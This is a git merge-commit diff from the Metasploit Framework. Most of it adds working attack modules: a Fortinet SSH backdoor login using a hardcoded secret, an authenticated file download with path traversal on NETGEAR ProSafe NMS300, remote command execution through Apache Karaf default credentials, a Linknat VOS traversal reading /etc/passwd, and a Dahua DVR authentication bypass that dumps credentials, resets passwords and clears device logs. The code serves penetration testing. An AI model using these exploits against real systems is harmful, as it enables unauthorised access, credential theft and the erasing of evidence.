Merge branch 'master' of github.com:rapid7/metasploit-framework

bug/bundler_fix
David Maloney 2016-03-01 10:52:00 -06:00
commit 368af93cfe
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
23 changed files with 2391 additions and 207 deletions

View File

@ -37,6 +37,7 @@ and Metasploit's [Common Coding Mistakes].
* **Do** follow the [50/72 rule] for Git commit messages.
* **Don't** use the default merge messages when merging from other branches.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
### Pull Requests

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.11.12)
metasploit-framework (4.11.13)
actionpack (>= 4.0.9, < 4.1.0)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
@ -13,7 +13,7 @@ PATH
metasploit-concern (= 1.0.0)
metasploit-credential (= 1.0.1)
metasploit-model (= 1.0.0)
metasploit-payloads (= 1.1.0)
metasploit-payloads (= 1.1.1)
metasploit_data_models (= 1.2.11)
msgpack
network_interface (~> 0.0.1)
@ -124,7 +124,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.1.0)
metasploit-payloads (1.1.1)
metasploit_data_models (1.2.11)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)

View File

@ -78,7 +78,7 @@ module Metasploit
opt_hash
)
end
rescue ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
rescue Net::SSH::Exception
result_options.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: e)

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.11.12"
VERSION = "4.11.13"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -0,0 +1,99 @@
# -*- coding: binary -*-
# https://www.ietf.org/rfc/rfc4256.txt
require 'net/ssh'
module Msf::Exploit::Remote::Fortinet
class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract
USERAUTH_INFO_REQUEST = 60
USERAUTH_INFO_RESPONSE = 61
def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
send_message(userauth_request(
=begin
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
string service name (US-ASCII)
string "keyboard-interactive" (US-ASCII)
string language tag (as defined in [RFC-3066])
string submethods (ISO-10646 UTF-8)
=end
username,
service_name,
'keyboard-interactive',
'',
''
))
loop do
message = session.next_message
case message.type
when USERAUTH_SUCCESS
debug { 'Received SSH_MSG_USERAUTH_SUCCESS' }
return true
when USERAUTH_FAILURE
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
return false
when USERAUTH_INFO_REQUEST
debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
=begin
string name (ISO-10646 UTF-8)
string instruction (ISO-10646 UTF-8)
string language tag (as defined in [RFC-3066])
int num-prompts
string prompt[1] (ISO-10646 UTF-8)
boolean echo[1]
...
string prompt[num-prompts] (ISO-10646 UTF-8)
boolean echo[num-prompts]
=end
name = message.read_string
instruction = message.read_string
_ = message.read_string
prompts = []
message.read_long.times do
prompt = message.read_string
echo = message.read_bool
prompts << [prompt, echo]
end
debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' }
send_message(Net::SSH::Buffer.from(
=begin
byte SSH_MSG_USERAUTH_INFO_RESPONSE
int num-responses
string response[1] (ISO-10646 UTF-8)
...
string response[num-responses] (ISO-10646 UTF-8)
=end
:byte, USERAUTH_INFO_RESPONSE,
:long, 1,
:string, custom_handler(name, instruction, prompts)
))
else
raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}"
end
end
end
# http://seclists.org/fulldisclosure/2016/Jan/26
def custom_handler(title, instructions, prompt_list)
n = prompt_list[0][0]
m = Digest::SHA1.new
m.update("\x00" * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70")
h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
[h]
end
end
end

View File

@ -116,3 +116,6 @@ require 'msf/core/exploit/http/jboss'
# Kerberos Support
require 'msf/core/exploit/kerberos/client'
# Fortinet
require 'msf/core/exploit/fortinet'

View File

@ -63,24 +63,11 @@ module ReverseHttp
], Msf::Handler::ReverseHttp)
end
# Determine where to bind the server
#
# @return [String]
def listener_address
if datastore['ReverseListenerBindAddress'].to_s == ''
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
else
bindaddr = datastore['ReverseListenerBindAddress']
end
bindaddr
end
# Return a URI suitable for placing in a payload
#
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
def listener_uri(addr)
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"#{scheme}://#{uri_host}:#{bind_port}/"
end
@ -129,20 +116,33 @@ module ReverseHttp
#
def setup_handler
local_addr = nil
local_port = bind_port
ex = false
# Start the HTTPS server service on this host/port
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
local_port,
listener_address,
ssl?,
{
'Msf' => framework,
'MsfExploit' => self,
},
nil,
(ssl?) ? datastore['HandlerSSLCert'] : nil
)
bind_addresses.each do |ip|
begin
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
local_port, ip, ssl?,
{
'Msf' => framework,
'MsfExploit' => self,
},
nil,
(ssl?) ? datastore['HandlerSSLCert'] : nil
)
local_addr = ip
rescue
ex = $!
print_error("Handler failed to bind to #{ip}:#{local_port}")
else
ex = false
break
end
end
raise ex if (ex)
self.service.server_name = datastore['MeterpreterServerName']
@ -156,7 +156,7 @@ module ReverseHttp
},
'VirtualDirectory' => true)
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
lookup_proxy_settings
if datastore['IgnoreUnknownPayloads']

View File

@ -65,9 +65,10 @@ module Net; module SSH; module Transport
factory = options[:proxy]
if (factory)
@socket = timeout(options[:timeout] || 0) { factory.open(@host, @port) }
@socket = ::Timeout.timeout(options[:timeout] || 0) { factory.open(@host,
@port) }
else
@socket = timeout(options[:timeout] || 0) {
@socket = ::Timeout.timeout(options[:timeout] || 0) {
Rex::Socket::Tcp.create(
'PeerHost' => @host,
'PeerPort' => @port,

View File

@ -71,6 +71,12 @@ class Android < Extension
response = client.send_request(request)
response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end
def set_audio_mode(n)
request = Packet.create_request('set_audio_mode')
request.add_tlv(TLV_TYPE_AUDIO_MODE, n)
response = client.send_request(request)
end
def interval_collect(opts)
request = Packet.create_request('interval_collect')

View File

@ -75,6 +75,7 @@ TLV_TYPE_CELL_BASE_LAT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS
TLV_TYPE_CELL_BASE_LONG = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9072)
TLV_TYPE_CELL_NET_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9073)
TLV_TYPE_CELL_SYSTEM_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9074)
TLV_TYPE_AUDIO_MODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9075)
TLV_TYPE_URI_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9101)
TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102)

View File

@ -30,7 +30,8 @@ class Console::CommandDispatcher::Android
'send_sms' => 'Sends SMS from target session',
'wlan_geolocate' => 'Get current lat-long using WLAN information',
'interval_collect' => 'Manage interval collection capabilities',
'activity_start' => 'Start an Android activity from a Uri string'
'activity_start' => 'Start an Android activity from a Uri string',
'set_audio_mode' => 'Set Ringer Mode'
}
reqs = {
@ -43,7 +44,8 @@ class Console::CommandDispatcher::Android
'send_sms' => ['send_sms'],
'wlan_geolocate' => ['wlan_geolocate'],
'interval_collect' => ['interval_collect'],
'activity_start' => ['activity_start']
'activity_start' => ['activity_start'],
'set_audio_mode' => ['set_audio_mode']
}
# Ensure any requirements of the command are met
@ -153,6 +155,36 @@ class Console::CommandDispatcher::Android
end
end
def cmd_set_audio_mode(*args)
help = false
mode = 1
set_audio_mode_opts = Rex::Parser::Arguments.new(
'-h' => [ false, "Help Banner" ],
'-m' => [ true, "Set Mode - (0 - Off, 1 - Normal, 2 - Max) (Default: '#{mode}')"]
)
set_audio_mode_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
help = true
when '-m'
mode = val.to_i
else
help = true
end
end
if help || mode < 0 || mode > 2
print_line('Usage: set_audio_mode [options]')
print_line('Set Ringer mode.')
print_line(set_audio_mode_opts.usage)
return
end
client.android.set_audio_mode(mode)
print_status("Ringer mode was changed to #{mode}!")
end
def cmd_dump_sms(*args)
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_sms_opts = Rex::Parser::Arguments.new(
@ -536,7 +568,7 @@ class Console::CommandDispatcher::Android
print_line("Start an Android activity from a uri")
return
end
uri = args[0]
result = client.android.activity_start(uri)
if result.nil?
@ -545,7 +577,7 @@ class Console::CommandDispatcher::Android
print_error("Error: #{result}")
end
end
#
# Name for this dispatcher
#

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.0'
spec.add_runtime_dependency 'metasploit-payloads', '1.1.1'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -0,0 +1,224 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
'Description' => %q{
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
The application has a file download vulnerability that can be exploited by an
authenticated remote attacker to download any file in the system..
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-1524'],
['US-CERT-VU', '777024'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
],
'DisclosureDate' => 'Feb 4 2016'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, "Application path", '/']),
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
], self.class)
register_advanced_options(
[
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
], self.class)
end
def authenticate
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
'method' => 'POST',
'vars_post' => {
'userName' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'vars_get' => { 'method' => 'login' }
})
if res && res.code == 200
cookie = res.get_cookies
if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/
# another admin is logged in, let's kick him out
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' => { 'singleId' => $1 },
'vars_get' => { 'method' => 'loginAgain' }
})
if res && res.code == 200 && (not res.body.to_s =~ /"success":true/)
return nil
end
end
return cookie
end
return nil
end
def download_file (download_path, cookie)
filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img"
begin
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
'vars_get' => {
'method' => 'add'
},
'vars_post' => {
'realName' => download_path,
'md5' => '',
'fileName' => filename,
'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)),
'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)),
'deviceType' => rand(999),
'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)),
'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
},
})
if res && res.code == 200 && res.body.to_s =~ /"success":true/
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),
'vars_get' => {
'method' => 'getPageList',
'type' => 'configImgManager',
},
'vars_post' => {
'everyPage' => 500 + rand(999)
},
})
if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/
image_id = $1
return send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'method' => 'export',
'imageId' => image_id
}
})
end
end
return nil
rescue Rex::ConnectionRefused
print_error("#{peer} - Could not connect.")
return
end
end
def save_file(filedata)
vprint_line(filedata.to_s)
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'netgear.http',
'application/octet-stream',
datastore['RHOST'],
filedata,
fname
)
print_good("File saved in: #{path}")
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: 'netgear',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
cookie = authenticate
if cookie == nil
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
else
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
report_cred(
user: datastore['USERNAME'],
password: datastore['PASSWORD'],
proof: cookie
)
end
if datastore['FILEPATH'].blank?
fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
return
end
filepath = datastore['FILEPATH']
res = download_file(filepath, cookie)
if res && res.code == 200
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
save_file(res.body)
return
end
end
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
count = 1
while count < datastore['DEPTH']
res = download_file(("../" * count).chomp('/') + filepath, cookie)
if res && res.code == 200
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
save_file(res.body)
return
end
end
count += 1
end
print_error("#{peer} - Failed to download file.")
end
end

View File

@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
formats = [ 'md5', 'des', 'bsdi']
if datastore['Crypt']
format << 'crypt'
formats << 'crypt'
end
cracker = new_john_cracker

View File

@ -0,0 +1,133 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "Apache Karaf Default Credentials Command Execution",
'Description' => %q{
This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.
The 'karaf' user has a known default password, which can be used to login to the
SSH service, and execute operating system commands from remote.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicholas Starke <nick@alephvoid.com>'
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Apache Karaf', {}],
],
'Privileged' => true,
'DisclosureDate' => "Feb 9 2016",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8101),
OptString.new('USERNAME', [true, 'Username', 'karaf']),
OptString.new('PASSWORD', [true, 'Password', 'karaf']),
OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd'])
], self.class
)
register_advanced_options(
[
Opt::Proxies,
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rport
datastore['RPORT']
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def cmd
datastore['CMD']
end
def do_login(user, pass, ip)
opts = {
:auth_methods => ['password'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:disable_agent => true,
:config => false,
:password => pass,
:record_auth_info => true,
:proxies => datastore['Proxies']
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(ip, user, opts)
end
rescue OpenSSL::Cipher::CipherError => e
print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
return
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{ip}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
print_good("#{ip}:#{rport}- Login Successful with '#{user}:#{pass}'")
else
print_error "#{ip}:#{rport} - Unknown error"
end
ssh
end
def run_host(ip)
print_status("#{ip}:#{rport} - Attempt to login...")
ssh = do_login(username, password, ip)
if ssh
output = ssh.exec!("shell:exec #{cmd}\n").to_s
if output
print_good("#{ip}:#{rport} - Command successfully executed. Output: #{output}")
store_loot("apache.karaf.command",
"text/plain",
ip,
output)
vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")
else
print_error "#{ip}:#{rport} - Command failed to execute"
end
end
end
end

View File

@ -0,0 +1,93 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Linknat Vos Manager Traversal',
'Description' => %q(
This module attempts to test whether a file traversal vulnerability
is present in version of linknat vos2009/vos3000
),
'References' => [
['URL', 'http://www.linknat.com/'],
['URL', 'http://www.wooyun.org/bugs/wooyun-2010-0145458']
],
'Author' => ['Nixawk'],
'License' => MSF_LICENSE))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The path of Linknat Vos Manager (/chs/, /cht/, /eng/)', '/eng/']),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 5])
], self.class)
end
def vos_uri(path)
full_uri =~ %r{/$} ? "#{full_uri}#{path}" : "#{full_uri}/#{path}"
end
def vos_version
case target_uri.to_s
when /chs/i
js_uri = vos_uri('js/lang_zh_cn.js')
when /cht/i
js_uri = vos_uri('js/lang_zh_tw.js')
when /eng/i
js_uri = vos_uri('js/lang_en_us.js')
else
print_warning("#{full_uri} - Please identify VOS version manually")
return
end
res = send_request_cgi('uri' => js_uri)
return unless res
vprint_status("#{js_uri} - HTTP/#{res.proto} #{res.code} #{res.message}")
return unless res.code == 200
res.body =~ /s\[8\] = \"([^"]*)\"/m ? major = $1 : major = nil
res.body =~ /s\[169\] = \"[^:]*: ([^"\\]*)\"/m ? minor = $1 : minor = nil
"#{major} #{minor}"
end
def run_host(ip)
version = vos_version
unless version
print_error("#{full_uri} - Failed to identify Linknat VOS")
return
end
traversal = '/%c0%ae%c0%ae' * datastore['TRAVERSAL_DEPTH']
filename = datastore['FILEPATH']
uri = normalize_uri(target_uri.path, '..', traversal, filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
if res && res.code == 200
path = store_loot(
version,
'text/plain',
ip,
res.body,
filename)
print_good("#{full_uri} - File saved in: #{path}")
else
print_error("#{full_uri} - Nothing was downloaded")
end
end
end

View File

@ -0,0 +1,394 @@
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => %q(Dahua DVR Auth Bypass Scanner),
'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),
'Author' => [
'Jake Reynolds - Depth Security', # Vulnerability Discoverer
'Tyler Bennett - Talos Infosec', # Metasploit Module
'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module
'Nathan McBride' # regex extraordinaire
],
'References' => [
[ 'CVE', '2013-6117' ],
[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]
],
'License' => MSF_LICENSE,
'DefaultAction' => 'VERSION',
'Actions' =>
[
[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],
[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],
[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],
[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],
[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],
[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],
[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],
[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],
[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]
]
)
deregister_options('RHOST')
register_options([
OptString.new('USERNAME', [false, 'A username to reset', '888888']),
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),
Opt::RPORT(37777)
])
end
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
# Payload to grab version of the DVR
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab Email Settings of the DVR
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab DDNS Settings of the DVR
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab NAS Settings of the DVR
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Channels that each camera is assigned to on the DVR
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Users Groups of the DVR
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Users and their hashes from the DVR
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Serial Number of the DVR
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to clear the logs of the DVR
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
def setup
@password = datastore['PASSWORD']
@password ||= Rex::Text.rand_text_alpha(6)
end
def grab_version
connect
sock.put(VERSION)
data = sock.get_once
return unless data =~ /[\x00]{8,}([[:print:]]+)/
ver = Regexp.last_match[1]
print_good("#{peer} -- version: #{ver}")
end
def grab_serial
connect
sock.put(SN)
data = sock.get_once
return unless data =~ /[\x00]{8,}([[:print:]]+)/
serial = Regexp.last_match[1]
print_good("#{peer} -- serial number: #{serial}")
end
def grab_email
connect
sock.put(EMAIL)
return unless (response = sock.get_once)
data = response.split('&&')
print_good("#{peer} -- Email Settings:")
return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i
if mailhost = Regexp.last_match[1].split(':')
print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?
print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?
print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?
mailserver = "#{mailhost[0]}"
mailport = "#{mailhost[1]}"
muser = "#{data[5]}"
mpass = "#{data[6]}"
end
return if muser.blank? && mpass.blank?
print_good(" SMTP User: #{data[5]}")
print_good(" SMTP Password: #{data[6]}")
return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?
report_email_cred(mailserver, mailport, muser, mpass)
end
def grab_ddns
connect
sock.put(DDNS)
return unless (response = sock.get_once)
data = response.split(/&&[0-1]&&/)
ddns_table = Rex::Ui::Text::Table.new(
'Header' => 'Dahua DDNS Settings',
'Indent' => 1,
'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']
)
data.each_with_index do |val, index|
next if index == 0
val = val.split("&&")
ddns_service = val[0]
ddns_server = val[1]
ddns_port = val[2]
ddns_domain = val[3]
ddns_user = val[4]
ddns_pass = val[5]
ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]
unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?
if datastore['VERBOSE']
ddns_table.print
end
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
end
end
end
def grab_nas
connect
sock.put(NAS)
return unless (data = sock.get_once)
print_good("#{peer} -- NAS Settings:")
server = ''
port = ''
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
server = Regexp.last_match[1].unpack('C*').join('.')
port = Regexp.last_match[2].unpack('S')
end
if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data
ftpuser.strip!
ftppass.strip!
unless ftpuser.blank? || ftppass.blank?
print_good("#{peer} -- NAS Server: #{server}")
print_good("#{peer} -- NAS Port: #{port}")
print_good("#{peer} -- FTP User: #{ftpuser}")
print_good("#{peer} -- FTP Pass: #{ftppass}")
report_creds(
host: server,
port: port,
user: ftpuser,
pass: ftppass,
type: "FTP",
active: true)
end
end
end
def grab_channels
connect
sock.put(CHANNELS)
data = sock.get_once.split('&&')
channels_table = Rex::Ui::Text::Table.new(
'Header' => 'Dahua Camera Channels',
'Indent' => 1,
'Columns' => ['ID', 'Peer', 'Channels']
)
return unless data.length > 1
data.each_with_index do |val, index|
number = index.to_s
channels = val[/([[:print:]]+)/]
channels_table << [ number, peer, channels ]
end
channels_table.print
end
def grab_users
connect
sock.put(USERS)
return unless (response = sock.get_once)
data = response.split('&&')
usercount = 0
users_table = Rex::Ui::Text::Table.new(
'Header' => 'Dahua Users Hashes and Rights',
'Indent' => 1,
'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
)
data.each do |val|
usercount += 1
